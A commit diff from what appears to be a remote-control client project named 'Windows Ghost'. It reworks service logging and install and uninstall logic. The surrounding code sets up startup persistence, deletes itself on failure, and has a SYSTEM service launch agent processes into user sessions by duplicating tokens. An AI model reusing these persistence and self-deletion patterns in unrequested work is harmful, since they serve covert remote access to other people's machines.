Fix (Windows Service): Remove the shit dropped by AI

client/ClientDll.cpp

@@ -182,14 +182,24 @@ BOOL CALLBACK callback(DWORD CtrlType)
     return TRUE;
 }
 
+void ServiceLogger(const char* message) {
+	Logger::getInstance().log(NULL, 0, "%s", message);
+}
+
 int main(int argc, const char *argv[])
 {
+    Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc);
+    InitWindowsService({ "RemoteControlService", "Remote Control Service", "Provides remote desktop control functionality." }, ServiceLogger);
     bool isService = g_SETTINGS.iStartup == Startup_GhostMsc;
     // 注册启动项
     int r = RegisterStartup("Windows Ghost", "WinGhost", !isService);
     if (r <= 0) {
         BOOL s = self_del();
-        if (!IsDebug)return r;
+        if (!IsDebug) {
+            Mprintf("结束运行.");
+			Sleep(1000);
+            return r;
+        }
     }
 
     if (!SetSelfStart(argv[0], REG_NAME)) {
@@ -202,7 +212,11 @@ int main(int argc, const char *argv[])
         for (int i = 0; !ret && i < argc; i++) {
             Mprintf(" Arg [%d]: %s\n", i, argv[i]);
         }
-        if (ret) return 0x20251123;
+        if (ret) {
+            Mprintf("结束运行.");
+            Sleep(1000);
+            return 0x20251123;
+        }
     }
 
     status = E_RUN;
@@ -212,6 +226,8 @@ int main(int argc, const char *argv[])
         CloseHandle(hMutex);
         hMutex = NULL;
 #ifndef _DEBUG
+        Mprintf("结束运行.");
+        Sleep(1000);
         return -2;
 #endif
     }
@@ -246,6 +262,7 @@ int main(int argc, const char *argv[])
     status = E_STOP;
 
     CloseHandle(hMutex);
+    Mprintf("结束运行.");
     Logger::getInstance().stop();
 
     return 0;

client/ServiceWrapper.c

@@ -2,15 +2,7 @@
 #include "SessionMonitor.h"
 #include <stdio.h>
 
-#ifndef Mprintf
-#ifdef _DEBUG
-#define Mprintf printf
-#define Log(p) ServiceWriteLog(p, "C:\\GhostService.log")
-#else
-#define Mprintf(format, ...)
-#define Log(p)
-#endif
-#endif
+#define Mprintf(format, ...) MyLog(__FILE__, __LINE__, format, __VA_ARGS__)
 
 // 静态变量
 static MyService g_MyService =
@@ -19,14 +11,44 @@ static MyService g_MyService =
 static SERVICE_STATUS g_ServiceStatus = { 0 };
 static SERVICE_STATUS_HANDLE g_StatusHandle = NULL;
 static HANDLE g_StopEvent = NULL;
+static ServiceLogFunc Log = NULL;
 
 // 前向声明
 static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
 static void WINAPI ServiceCtrlHandler(DWORD ctrlCode);
 
-void InitWindowsService(MyService info)
+void MyLog(const char* file, int line, const char* format, ...) {
+    if (Log == NULL) {
+        return;  // 没有设置日志回调，直接返回
+    }
+
+    char buffer[1024];
+    char message[1200];
+
+    // 处理可变参数
+    va_list args;
+    va_start(args, format);
+    vsnprintf(buffer, sizeof(buffer), format, args);
+    va_end(args);
+
+    // 提取文件名（去掉路径）
+    const char* filename = strrchr(file, '/');
+    if (filename == NULL) {
+        filename = strrchr(file, '\\');
+    }
+    filename = (filename != NULL) ? (filename + 1) : file;
+
+    // 格式化完整的日志消息：[文件名:行号] 消息内容
+    snprintf(message, sizeof(message), "[%s:%d] %s", filename, line, buffer);
+
+    // 调用日志回调函数
+    Log(message);
+}
+
+void InitWindowsService(MyService info, ServiceLogFunc log)
 {
     memcpy(&g_MyService, &info, sizeof(MyService));
+    Log = log;
 }
 
 BOOL ServiceWrapper_CheckStatus(BOOL* registered, BOOL* running,
@@ -59,7 +81,7 @@ BOOL ServiceWrapper_CheckStatus(BOOL* registered, BOOL* running,
                    SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG);
     if (!hService) {
         CloseServiceHandle(hSCM);
-        return FALSE;  // 未注册
+        return TRUE;  // 未注册
     }
 
     *registered = TRUE;
@@ -140,13 +162,13 @@ int ServiceWrapper_Run(void)
     ServiceTable[1].lpServiceName = NULL;
     ServiceTable[1].lpServiceProc = NULL;
 
-    Log("========================================");
-    Log("ServiceWrapper_Run() called");
+    Mprintf("========================================");
+    Mprintf("ServiceWrapper_Run() called");
 
     if (StartServiceCtrlDispatcher(ServiceTable) == FALSE) {
         err = GetLastError();
         sprintf(buffer, "StartServiceCtrlDispatcher failed: %d", (int)err);
-        Log(buffer);
+        Mprintf(buffer);
         return (int)err;
     }
     return ERROR_SUCCESS;
@@ -159,7 +181,7 @@ static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv)
     (void)argc;
     (void)argv;
 
-    Log("ServiceMain() called");
+    Mprintf("ServiceMain() called");
 
     g_StatusHandle = RegisterServiceCtrlHandler(
                          g_MyService.Name,
@@ -167,7 +189,7 @@ static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv)
                      );
 
     if (g_StatusHandle == NULL) {
-        Log("RegisterServiceCtrlHandler failed");
+        Mprintf("RegisterServiceCtrlHandler failed");
         return;
     }
 
@@ -184,7 +206,7 @@ static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv)
 
     g_StopEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
     if (g_StopEvent == NULL) {
-        Log("CreateEvent failed");
+        Mprintf("CreateEvent failed");
         g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
         g_ServiceStatus.dwWin32ExitCode = GetLastError();
         SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
@@ -197,7 +219,7 @@ static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv)
     g_ServiceStatus.dwCheckPoint = 0;
 
     SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
-    Log("Service is now running");
+    Mprintf("Service is now running");
 
     hThread = CreateThread(NULL, 0, ServiceWrapper_WorkerThread, NULL, 0, NULL);
     if (hThread) {
@@ -213,14 +235,14 @@ static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv)
     g_ServiceStatus.dwCheckPoint = 3;
 
     SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
-    Log("Service stopped");
+    Mprintf("Service stopped");
 }
 
 static void WINAPI ServiceCtrlHandler(DWORD ctrlCode)
 {
     switch (ctrlCode) {
     case SERVICE_CONTROL_STOP:
-        Log("SERVICE_CONTROL_STOP received");
+        Mprintf("SERVICE_CONTROL_STOP received");
 
         if (g_ServiceStatus.dwCurrentState != SERVICE_RUNNING)
             break;
@@ -253,21 +275,21 @@ DWORD WINAPI ServiceWrapper_WorkerThread(LPVOID lpParam)
 
     (void)lpParam;  // 未使用参数
 
-    Log("========================================");
-    Log("Worker thread started");
-    Log("Service will launch agent in user sessions");
+    Mprintf("========================================");
+    Mprintf("Worker thread started");
+    Mprintf("Service will launch agent in user sessions");
 
     // 初始化会话监控器
     SessionMonitor_Init(&monitor);
 
     if (!SessionMonitor_Start(&monitor)) {
-        Log("ERROR: Failed to start session monitor");
+        Mprintf("ERROR: Failed to start session monitor");
         SessionMonitor_Cleanup(&monitor);
         return ERROR_SERVICE_SPECIFIC_ERROR;
     }
 
-    Log("Session monitor started successfully");
-    Log("Agent will be launched automatically");
+    Mprintf("Session monitor started successfully");
+    Mprintf("Agent will be launched automatically");
 
     // 主循环，只等待停止信号
     // SessionMonitor 会在后台自动：
@@ -278,17 +300,17 @@ DWORD WINAPI ServiceWrapper_WorkerThread(LPVOID lpParam)
         heartbeatCount++;
         if (heartbeatCount % 6 == 0) {  // 每60秒记录一次
             sprintf(buf, "Service heartbeat - uptime: %d minutes", heartbeatCount / 6);
-            Log(buf);
+            Mprintf(buf);
         }
     }
 
-    Log("Stop signal received");
-    Log("Stopping session monitor...");
+    Mprintf("Stop signal received");
+    Mprintf("Stopping session monitor...");
     SessionMonitor_Stop(&monitor);
     SessionMonitor_Cleanup(&monitor);
 
-    Log("Worker thread exiting");
-    Log("========================================");
+    Mprintf("Worker thread exiting");
+    Mprintf("========================================");
     return ERROR_SUCCESS;
 }
 
@@ -393,16 +415,10 @@ BOOL ServiceWrapper_Install(void)
     CloseServiceHandle(schService);
     CloseServiceHandle(schSCManager);
 
-    Mprintf("\n=== Installation Complete ===\n");
+    Mprintf("=== Installation Complete ===\n");
     Mprintf("Service installed successfully!\n");
-    Mprintf("\n");
     Mprintf("IMPORTANT: This is a single-executable design.\n");
     Mprintf("The service will launch '%s -agent' in user sessions.\n", szPath);
-    Mprintf("\n");
-    Mprintf("Logs will be written to:\n");
-    Mprintf("  - C:\\GhostService.log (service logs)\n");
-    Mprintf("  - C:\\SessionMonitor.log (session monitor logs)\n");
-    Mprintf("\n");
     Mprintf("Commands:\n");
     Mprintf("  To verify: sc query %s\n", g_MyService.Name);
     Mprintf("  To start:  net start %s\n", g_MyService.Name);
@@ -411,7 +427,7 @@ BOOL ServiceWrapper_Install(void)
     return TRUE;
 }
 
-void ServiceWrapper_Uninstall(void)
+BOOL ServiceWrapper_Uninstall(void)
 {
     SC_HANDLE schSCManager;
     SC_HANDLE schService;
@@ -428,7 +444,7 @@ void ServiceWrapper_Uninstall(void)
     if (schSCManager == NULL) {
         Mprintf("ERROR: OpenSCManager failed (%d)\n", (int)GetLastError());
         Mprintf("Please run as Administrator\n");
-        return;
+        return FALSE;
     }
 
     schService = OpenService(
@@ -441,7 +457,7 @@ void ServiceWrapper_Uninstall(void)
         Mprintf("ERROR: OpenService failed (%d)\n", (int)GetLastError());
         Mprintf("Service may not be installed\n");
         CloseServiceHandle(schSCManager);
-        return;
+        return FALSE;
     }
 
     Mprintf("Stopping service...\n");
@@ -459,7 +475,6 @@ void ServiceWrapper_Uninstall(void)
                 break;
             }
         }
-        Mprintf("\n");
 
         if (status.dwCurrentState == SERVICE_STOPPED) {
             Mprintf("SUCCESS: Service stopped\n");
@@ -474,18 +489,20 @@ void ServiceWrapper_Uninstall(void)
             Mprintf("WARNING: Failed to stop service (%d)\n", (int)err);
         }
     }
-
+    BOOL result = TRUE;
     Mprintf("Deleting service...\n");
     if (DeleteService(schService)) {
         Mprintf("SUCCESS: Service uninstalled successfully\n");
     } else {
         Mprintf("ERROR: DeleteService failed (%d)\n", (int)GetLastError());
+		result = FALSE;
     }
 
     CloseServiceHandle(schService);
     CloseServiceHandle(schSCManager);
 
-    Mprintf("\n=== Uninstallation Complete ===\n");
+    Mprintf("=== Uninstallation Complete ===\n");
+	return result;
 }
 
 void PrintUsage()
@@ -496,35 +513,6 @@ void PrintUsage()
     Mprintf("  -service     Run as service\n");
     Mprintf("  -agent       Run as agent\n");
     Mprintf("  default      Run as normal application\n");
-    Mprintf("\n");
-}
-
-// 从服务路径中提取可执行文件路径（去除引号和参数）
-static void ExtractExePath(const char* input, char* output, size_t outSize)
-{
-    const char* start = input;
-    const char* end;
-    size_t len;
-
-    if (outSize == 0) return;
-    output[0] = '\0';
-
-    // 跳过开头的引号
-    if (*start == '"') {
-        start++;
-        end = strchr(start, '"');
-        if (!end) end = start + strlen(start);
-    } else {
-        // 找到第一个空格（参数分隔）或字符串结尾
-        end = strchr(start, ' ');
-        if (!end) end = start + strlen(start);
-    }
-
-    len = end - start;
-    if (len >= outSize) len = outSize - 1;
-
-    strncpy(output, start, len);
-    output[len] = '\0';
 }
 
 BOOL RunAsWindowsService(int argc, const char* argv[])
@@ -533,24 +521,30 @@ BOOL RunAsWindowsService(int argc, const char* argv[])
         BOOL registered = FALSE;
         BOOL running = FALSE;
         char servicePath[MAX_PATH] = { 0 };
-        char serviceExePath[MAX_PATH] = { 0 };
         char curPath[MAX_PATH] = { 0 };
 
-        ServiceWrapper_CheckStatus(&registered, &running, servicePath, MAX_PATH);
+        BOOL b = ServiceWrapper_CheckStatus(&registered, &running, servicePath, MAX_PATH);
+        Mprintf("ServiceWrapper_CheckStatus: %s, Installed: %s, Running: %s\n", b ? "succeed" : "failed", 
+            registered ? "Yes" : "No", running ? "Yes" : "No");
         GetModuleFileName(NULL, curPath, MAX_PATH);
 
-        // 从服务路径中提取可执行文件路径（去除引号和参数）
-        ExtractExePath(servicePath, serviceExePath, MAX_PATH);
+        if (registered) {
+            Mprintf("Current executable path: %s, Registered service path: %s\n", curPath, servicePath);
+        }
 
         // 使用不区分大小写的比较
-        if (registered && _stricmp(curPath, serviceExePath) != 0) {
-            Mprintf("RunAsWindowsService Uninstall: %s\n", servicePath);
-            ServiceWrapper_Uninstall();
+        _strlwr(servicePath);
+        _strlwr(curPath);
+		BOOL same = (strstr(servicePath, curPath) != 0);
+        if (registered && !same) {
+            BOOL r = ServiceWrapper_Uninstall();
+            Mprintf("RunAsWindowsService Uninstall %s: %s\n", r ? "succeed" : "failed", servicePath);
             registered = FALSE;
         }
         if (!registered) {
-            Mprintf("RunAsWindowsService Install: %s\n", curPath);
-            return ServiceWrapper_Install();
+            BOOL r = ServiceWrapper_Install();
+            Mprintf("RunAsWindowsService Install %s: %s\n", r ? "succeed" : "failed", curPath);
+            return r;
         } else if (!running) {
             int r = ServiceWrapper_Run();
             Mprintf("RunAsWindowsService Run '%s' %s\n", curPath, r == ERROR_SUCCESS ? "succeed" : "failed");

client/ServiceWrapper.h

@@ -9,6 +9,8 @@ typedef struct MyService {
     char Description[512];
 } MyService;
 
+typedef void (*ServiceLogFunc)(const char* message);
+
 #ifdef __cplusplus
 extern "C" {
 #endif
@@ -28,7 +30,7 @@ sc query RemoteControlService
 */
 
 // 自定义服务信息
-void InitWindowsService(MyService info);
+void InitWindowsService(MyService info, ServiceLogFunc log);
 
 // 以Windows服务模式运行程序
 BOOL RunAsWindowsService(int argc, const char* argv[]);
@@ -55,7 +57,7 @@ int ServiceWrapper_Run(void);
 BOOL ServiceWrapper_Install(void);
 
 // 卸载服务
-void ServiceWrapper_Uninstall(void);
+BOOL ServiceWrapper_Uninstall(void);
 
 // 服务工作线程
 DWORD WINAPI ServiceWrapper_WorkerThread(LPVOID lpParam);

client/SessionMonitor.c

@@ -7,12 +7,9 @@
 
 // <20><>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>
 #define INITIAL_CAPACITY 4
+#define Mprintf(format, ...) MyLog(__FILE__, __LINE__, format, __VA_ARGS__)
 
-#ifdef _DEBUG
-#define SessionLog(p) ServiceWriteLog(p, "C:\\SessionMonitor.log")
-#else
-#define SessionLog(p)
-#endif
+extern void MyLog(const char* file, int line, const char* format, ...);
 
 // ǰ<><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 static DWORD WINAPI MonitorThreadProc(LPVOID param);
@@ -86,25 +83,6 @@ static void AgentArray_RemoveAt(AgentProcessArray* arr, size_t index)
     arr->count--;
 }
 
-// ============================================
-// <20><>־<EFBFBD><D6BE><EFBFBD><EFBFBD>
-// ============================================
-void ServiceWriteLog(const char* message, const char* filename)
-{
-    FILE* f;
-    SYSTEMTIME st;
-
-    f = fopen(filename, "a");
-    if (f) {
-        GetLocalTime(&st);
-        fprintf(f, "[%04d-%02d-%02d %02d:%02d:%02d] %s\n",
-                st.wYear, st.wMonth, st.wDay,
-                st.wHour, st.wMinute, st.wSecond,
-                message);
-        fclose(f);
-    }
-}
-
 // ============================================
 // <20><><EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>ʵ<EFBFBD><CAB5>
 // ============================================
@@ -127,23 +105,23 @@ void SessionMonitor_Cleanup(SessionMonitor* self)
 BOOL SessionMonitor_Start(SessionMonitor* self)
 {
     if (self->running) {
-        SessionLog("Monitor already running");
+        Mprintf("Monitor already running");
         return TRUE;
     }
 
-    SessionLog("========================================");
-    SessionLog("Starting session monitor...");
+    Mprintf("========================================");
+    Mprintf("Starting session monitor...");
 
     self->running = TRUE;
     self->monitorThread = CreateThread(NULL, 0, MonitorThreadProc, self, 0, NULL);
 
     if (!self->monitorThread) {
-        SessionLog("ERROR: Failed to create monitor thread");
+        Mprintf("ERROR: Failed to create monitor thread");
         self->running = FALSE;
         return FALSE;
     }
 
-    SessionLog("Session monitor thread created");
+    Mprintf("Session monitor thread created");
     return TRUE;
 }
 
@@ -153,7 +131,7 @@ void SessionMonitor_Stop(SessionMonitor* self)
         return;
     }
 
-    SessionLog("Stopping session monitor...");
+    Mprintf("Stopping session monitor...");
     self->running = FALSE;
 
     if (self->monitorThread) {
@@ -163,11 +141,11 @@ void SessionMonitor_Stop(SessionMonitor* self)
     }
 
     // <20><>ֹ<EFBFBD><D6B9><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
-    SessionLog("Terminating all agent processes...");
+    Mprintf("Terminating all agent processes...");
     TerminateAllAgents(self);
 
-    SessionLog("Session monitor stopped");
-    SessionLog("========================================");
+    Mprintf("Session monitor stopped");
+    Mprintf("========================================");
 }
 
 // ============================================
@@ -192,7 +170,7 @@ static void MonitorLoop(SessionMonitor* self)
     char buf[256];
     int j;
 
-    SessionLog("Monitor loop started");
+    Mprintf("Monitor loop started");
 
     while (self->running) {
         loopCount++;
@@ -219,20 +197,20 @@ static void MonitorLoop(SessionMonitor* self)
                         sprintf(buf, "Active session found: ID=%d, Name=%s",
                                 (int)sessionId,
                                 pSessionInfo[i].pWinStationName);
-                        SessionLog(buf);
+                        Mprintf(buf);
                     }
 
                     // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ڸûỰ<C3BB><E1BBB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
                     if (!IsAgentRunningInSession(self, sessionId)) {
                         sprintf(buf, "Agent not running in session %d, launching...", (int)sessionId);
-                        SessionLog(buf);
+                        Mprintf(buf);
 
                         if (LaunchAgentInSession(self, sessionId)) {
-                            SessionLog("Agent launched successfully");
+                            Mprintf("Agent launched successfully");
                             // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һЩʱ<D0A9><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
                             Sleep(2000);
                         } else {
-                            SessionLog("Failed to launch agent");
+                            Mprintf("Failed to launch agent");
                         }
                     }
 
@@ -242,13 +220,13 @@ static void MonitorLoop(SessionMonitor* self)
             }
 
             if (!foundActiveSession && loopCount % 5 == 1) {
-                SessionLog("No active sessions found");
+                Mprintf("No active sessions found");
             }
 
             WTSFreeMemory(pSessionInfo);
         } else {
             if (loopCount % 5 == 1) {
-                SessionLog("WTSEnumerateSessions failed");
+                Mprintf("WTSEnumerateSessions failed");
             }
         }
 
@@ -258,7 +236,7 @@ static void MonitorLoop(SessionMonitor* self)
         }
     }
 
-    SessionLog("Monitor loop exited");
+    Mprintf("Monitor loop exited");
 }
 
 static BOOL IsAgentRunningInSession(SessionMonitor* self, DWORD sessionId)
@@ -292,7 +270,7 @@ static BOOL IsAgentRunningInSession(SessionMonitor* self, DWORD sessionId)
     // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̿<EFBFBD><CCBF><EFBFBD>
     hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
     if (hSnapshot == INVALID_HANDLE_VALUE) {
-        SessionLog("CreateToolhelp32Snapshot failed");
+        Mprintf("CreateToolhelp32Snapshot failed");
         return FALSE;
     }
 
@@ -334,14 +312,14 @@ static void TerminateAllAgents(SessionMonitor* self)
     EnterCriticalSection(&self->csProcessList);
 
     sprintf(buf, "Terminating %d agent process(es)", (int)self->agentProcesses.count);
-    SessionLog(buf);
+    Mprintf(buf);
 
     for (i = 0; i < self->agentProcesses.count; i++) {
         info = &self->agentProcesses.items[i];
 
         sprintf(buf, "Terminating agent PID=%d (Session %d)",
                 (int)info->processId, (int)info->sessionId);
-        SessionLog(buf);
+        Mprintf(buf);
 
         // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
         if (GetExitCodeProcess(info->hProcess, &exitCode)) {
@@ -350,16 +328,16 @@ static void TerminateAllAgents(SessionMonitor* self)
                 if (!TerminateProcess(info->hProcess, 0)) {
                     sprintf(buf, "WARNING: Failed to terminate PID=%d, error=%d",
                             (int)info->processId, (int)GetLastError());
-                    SessionLog(buf);
+                    Mprintf(buf);
                 } else {
-                    SessionLog("Agent terminated successfully");
+                    Mprintf("Agent terminated successfully");
                     // <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȫ<EFBFBD>˳<EFBFBD>
                     WaitForSingleObject(info->hProcess, 5000);
                 }
             } else {
                 sprintf(buf, "Agent PID=%d already exited with code %d",
                         (int)info->processId, (int)exitCode);
-                SessionLog(buf);
+                Mprintf(buf);
             }
         }
 
@@ -369,7 +347,7 @@ static void TerminateAllAgents(SessionMonitor* self)
     self->agentProcesses.count = 0;  // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 
     LeaveCriticalSection(&self->csProcessList);
-    SessionLog("All agents terminated");
+    Mprintf("All agents terminated");
 }
 
 // <20><><EFBFBD><EFBFBD><EFBFBD>Ѿ<EFBFBD><D1BE><EFBFBD>ֹ<EFBFBD>Ľ<EFBFBD><C4BD><EFBFBD>
@@ -391,7 +369,7 @@ static void CleanupDeadProcesses(SessionMonitor* self)
                 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳<EFBFBD>
                 sprintf(buf, "Agent PID=%d exited with code %d, cleaning up",
                         (int)info->processId, (int)exitCode);
-                SessionLog(buf);
+                Mprintf(buf);
 
                 CloseHandle(info->hProcess);
                 AgentArray_RemoveAt(&self->agentProcesses, i);
@@ -401,7 +379,7 @@ static void CleanupDeadProcesses(SessionMonitor* self)
             // <20>޷<EFBFBD><DEB7><EFBFBD>ȡ<EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>룬<EFBFBD><EBA3AC><EFBFBD>ܽ<EFBFBD><DCBD><EFBFBD><EFBFBD>Ѳ<EFBFBD><D1B2><EFBFBD><EFBFBD><EFBFBD>
             sprintf(buf, "Cannot query agent PID=%d, removing from list",
                     (int)info->processId);
-            SessionLog(buf);
+            Mprintf(buf);
 
             CloseHandle(info->hProcess);
             AgentArray_RemoveAt(&self->agentProcesses, i);
@@ -434,7 +412,7 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId)
     memset(&pi, 0, sizeof(pi));
 
     sprintf(buf, "Attempting to launch agent in session %d", (int)sessionId);
-    SessionLog(buf);
+    Mprintf(buf);
 
     si.cb = sizeof(STARTUPINFO);
     si.lpDesktop = (LPSTR)"winsta0\\default";  // <20>ؼ<EFBFBD><D8BC><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
@@ -442,7 +420,7 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId)
     // <20><>ȡ<EFBFBD><C8A1>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̵<EFBFBD> SYSTEM <20><><EFBFBD><EFBFBD>
     if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {
         sprintf(buf, "OpenProcessToken failed: %d", (int)GetLastError());
-        SessionLog(buf);
+        Mprintf(buf);
         return FALSE;
     }
 
@@ -450,7 +428,7 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId)
     if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
                           SecurityImpersonation, TokenPrimary, &hDupToken)) {
         sprintf(buf, "DuplicateTokenEx failed: %d", (int)GetLastError());
-        SessionLog(buf);
+        Mprintf(buf);
         CloseHandle(hToken);
         return FALSE;
     }
@@ -458,30 +436,30 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId)
     // <20>޸<EFBFBD><DEB8><EFBFBD><EFBFBD>ƵĻỰ ID ΪĿ<CEAA><C4BF><EFBFBD>û<EFBFBD><C3BB>Ự
     if (!SetTokenInformation(hDupToken, TokenSessionId, &sessionId, sizeof(sessionId))) {
         sprintf(buf, "SetTokenInformation failed: %d", (int)GetLastError());
-        SessionLog(buf);
+        Mprintf(buf);
         CloseHandle(hDupToken);
         CloseHandle(hToken);
         return FALSE;
     }
 
-    SessionLog("Token duplicated");
+    Mprintf("Token duplicated");
 
     // <20><>ȡ<EFBFBD><C8A1>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>
     if (!GetModuleFileName(NULL, exePath, MAX_PATH)) {
-        SessionLog("GetModuleFileName failed");
+        Mprintf("GetModuleFileName failed");
         CloseHandle(hDupToken);
         CloseHandle(hToken);
         return FALSE;
     }
 
     sprintf(buf, "Service path: %s", exePath);
-    SessionLog(buf);
+    Mprintf(buf);
 
     // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
     fileAttr = GetFileAttributes(exePath);
     if (fileAttr == INVALID_FILE_ATTRIBUTES) {
         sprintf(buf, "ERROR: Executable not found at: %s", exePath);
-        SessionLog(buf);
+        Mprintf(buf);
         CloseHandle(hDupToken);
         CloseHandle(hToken);
         return FALSE;
@@ -491,18 +469,18 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId)
     sprintf(cmdLine, "\"%s\" -agent", exePath);
 
     sprintf(buf, "Command line: %s", cmdLine);
-    SessionLog(buf);
+    Mprintf(buf);
 
     // <20><>ȡ<EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڻ<EFBFBD><DABB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
     if (!WTSQueryUserToken(sessionId, &hUserToken)) {
         sprintf(buf, "WTSQueryUserToken failed: %d", (int)GetLastError());
-        SessionLog(buf);
+        Mprintf(buf);
     }
 
     // ʹ<><CAB9><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD>ƴ<EFBFBD><C6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
     if (hUserToken) {
         if (!CreateEnvironmentBlock(&lpEnvironment, hUserToken, FALSE)) {
-            SessionLog("CreateEnvironmentBlock failed");
+            Mprintf("CreateEnvironmentBlock failed");
         }
         CloseHandle(hUserToken);
     }
@@ -528,7 +506,7 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId)
 
     if (result) {
         sprintf(buf, "SUCCESS: Agent process created (PID=%d)", (int)pi.dwProcessId);
-        SessionLog(buf);
+        Mprintf(buf);
 
         // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD>Ա<EFBFBD>ֹͣʱ<D6B9><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֹ<EFBFBD><D6B9>
         EnterCriticalSection(&self->csProcessList);
@@ -542,15 +520,15 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId)
     } else {
         err = GetLastError();
         sprintf(buf, "CreateProcessAsUser failed: %d", (int)err);
-        SessionLog(buf);
+        Mprintf(buf);
 
         // <20>ṩ<EFBFBD><E1B9A9><EFBFBD><EFBFBD>ϸ<EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD><EFBFBD>Ϣ
         if (err == ERROR_FILE_NOT_FOUND) {
-            SessionLog("ERROR: agent executable file not found");
+            Mprintf("ERROR: agent executable file not found");
         } else if (err == ERROR_ACCESS_DENIED) {
-            SessionLog("ERROR: Access denied - service may not have sufficient privileges");
+            Mprintf("ERROR: Access denied - service may not have sufficient privileges");
         } else if (err == 1314) {
-            SessionLog("ERROR: Service does not have SE_INCREASE_QUOTA privilege");
+            Mprintf("ERROR: Service does not have SE_INCREASE_QUOTA privilege");
         }
     }
 

client/test.cpp

@@ -210,6 +210,10 @@ public:
     }
 };
 
+void ServiceLogger(const char* message) {
+    Logger::getInstance().log(NULL, 0, "%s", message);
+}
+
 // @brief <20><><EFBFBD>ȶ<EFBFBD>ȡsettings.ini<6E><69><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ȡIP<49>Ͷ˿<CDB6>.
 // [settings]
 // localIp=XXX
@@ -217,13 +221,18 @@ public:
 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ھʹ<DABE><CDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>л<EFBFBD>ȡIP<49>Ͷ˿<CDB6>.
 int main(int argc, const char *argv[])
 {
-    InitWindowsService({"ClientDemoService", "Client Demo Service", "Provide a demo service."});
+    Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %s %s. Arg Count: %d\n", argv[0], argc > 1 ? argv[1] : "", argc);
+    InitWindowsService({"ClientDemoService", "Client Demo Service", "Provide a demo service."}, ServiceLogger);
     bool isService = g_ConnectAddress.iStartup == Startup_TestRunMsc;
     // ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
     int r = RegisterStartup("Client Demo", "ClientDemo", !isService);
     if (r <= 0) {
         BOOL s = self_del();
-        if (!IsDebug)return r;
+        if (!IsDebug) {
